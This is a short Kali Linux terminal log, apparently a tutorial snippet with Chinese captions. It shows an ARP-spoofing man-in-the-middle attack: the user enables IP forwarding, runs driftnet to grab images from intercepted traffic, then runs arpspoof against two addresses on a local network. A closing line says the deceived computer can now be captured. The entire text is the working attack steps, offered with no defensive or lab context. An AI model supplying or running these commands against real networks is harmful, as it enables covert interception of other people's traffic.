root@kali:~# cd /proc/sys/net/ipv4
root@kali:/proc/sys/net/ipv4# echo 1 >/proc/sys/net/ipv4/ip_forward
root@kali:/proc/sys/net/ipv4# driftnet
然後新建一個terminal
root@kali:~# arpspoof -i eth0 -t172.28.15.254 172.28.15.34
然後就可以捕捉到被欺騙的電腦